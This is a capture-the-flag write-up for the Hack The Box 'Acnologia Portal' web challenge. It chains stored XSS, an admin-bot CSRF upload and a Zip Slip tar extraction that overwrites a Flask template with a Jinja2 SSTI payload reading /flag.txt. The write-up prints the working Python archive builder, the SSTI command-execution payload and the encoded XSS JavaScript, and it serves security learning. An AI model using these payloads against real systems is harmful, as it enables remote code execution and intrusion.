Acnologia Portal - HTB Cyber Apocalypse CTF 2022
Introduction
In this write-up I will explain how I solved the Acnologia Portal challenge from the Hack The Box Cyber Apocalypse CTF 2022. This was my favourite web challenge from the CTF and I had fun time exploiting the vulnerabilities. The goal of this challenge is to find the flag which is located at the root directory of the server.
Challenge
By visiting the web page you are greeted with a login form. We can register an account and login to see the dashboard. On the dashboard we can see a list of firmwares with the functionality to report a bug.
Other than that, there are not many interesting things to see here, but luckily the source code is provided. By going to the source code we can see that a bot with admin privileges visits the /review page everytime we report an issue. And the code looks to be written using the Flask web framework. Keeping that in mind we can also see that | safe
is being used to render user input on the review page. With | safe
Jinja2 will not translate "dangerous" symbols into HTML entities, which means this is vulnerable for Cross-site Scripting (XSS) attacks.
OK, but how do we get RCE (Remote Code Execution) to read the flag on the server? Let's look at the source code to see if there are more functionalities.
There is a functionally where the admin user can upload files which gets extracted.
The extract_firmware()
function looks very interesting. This function reminded me of the Zip Slip vulnerabillity. Zip Slip is a form of directory traversal that can be exploited by extracting files from an archive. The premise of the directory traversal vulnerability is that an attacker can gain access to parts of the file system outside of the target folder in which they should reside. So we can overwrite existing files on the system.
Exploiting insecure file extraction
I wrote simple Python script to create the malicious tar archive. This will overwrite the register template with a Server Side Template Injection (SSTI) payload. The SSTI payload gives us the ability to execute commands on the server. We can use this to read flag.txt. It might not be the intented way, but this is how I did it.
import io
import tarfile
import time
name = "../../../../../../../app/application/templates/register.html"
data = b"""
{{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag.txt').read()}}
"""
source_f = io.BytesIO(initial_bytes=data)
fh = io.BytesIO()
with tarfile.open(fileobj=fh, mode="w:gz") as tar:
info = tarfile.TarInfo(name)
info.size = len(data)
info.mtime = time.time()
tar.addfile(info, source_f)
with open("zipslip.tar.gz", "wb") as f:
f.write(fh.getvalue())
Creating the XSS payload
Now we have created the malicious tar archive, but we can't upload it ourselfs since we have no admin privileges. As we remember, a bot with admin privileges will visit the review page which is vulnerable to XSS. We have to make the admin upload a malicous tar archive for our Zip Slip exploit to work.
We can add the follow code to the source code to add the functionally to upload a file. This can be used to craft the request for the file upload.
@web.route('/api/firmware/upload', methods=['GET'])
def firmware_update():
return """<h1>Upload File</h1>
<form method=post enctype=multipart/form-data>
<input type=file name=file>
<input type=submit value=Upload>
</form>"""
We can now visit /api/firmware/upload
and upload our malicious tar archive. This won't actually upload the file, but we can use a tool called Burp Suite to intercept the request. In Burp Suite we have the option to generate a CSRF PoC (Right Click > Engagement tools > Generate CSRF PoC). We can use the JavaScript inside the CSRF PoC as our XSS payload. It will something like this (I base64 encoded the request body, but it is not necessary):
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "/api/firmware/upload", true);
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryfFJddpaUZfWggbV9");
xhr.withCredentials = true;
var body = atob("LS0tLS0tV2ViS2l0Rm9ybUJvdW5kYXJ5ZkZKZGRwYVVaZldnZ2JWOQ0KQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPSJmaWxlIjsgZmlsZW5hbWU9InJjZS50YXIuZ3oiDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtZ3ppcA0KDQofiwgAVMGDYgL/7dVBa8MgFAfwnPspckt60ZikSS6DHXfsNxC7uUzQxOkLBEq/e1N62HYI7LAMNv4/FJ8PRESeMs7441HNT1q96JBsorhbG4uiqj7iW16I+iCSdE5+wRRJhWX7nz7kH1G2qSPj9INoDmVXiK5tWNV1QpS7BP4/xvhaU97fujXPisw4cNLOW0U68qB7E0kH9kbOfq80mrperX9Ri6/1X4qqapO0QP1vbnc+B/0+6Ujs010zKXs7npSNUi7xaTKWzHCfGOfHQFLm2RizPfOj10OeLetS/mpVz2imJR2W/yTfXy54RQAAAAAAAAAAAAAAAAAAAAC2dQXYKysIACgAAA0KLS0tLS0tV2ViS2l0Rm9ybUJvdW5kYXJ5ZkZKZGRwYVVaZldnZ2JWOS0tDQo=");
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
</script>
Now we can login with our registered account and submit an issue with our XSS payload in it. After submiting the issue, we need to wait for the bot to view it. This will take a couple of seconds. When the bot views our issue, the payload will execute. Now we can visit the register page which contains the flag!
HTB{des3r1aliz3_4ll_th3_th1ngs}
References: https://snyk.io/research/zip-slip-vulnerability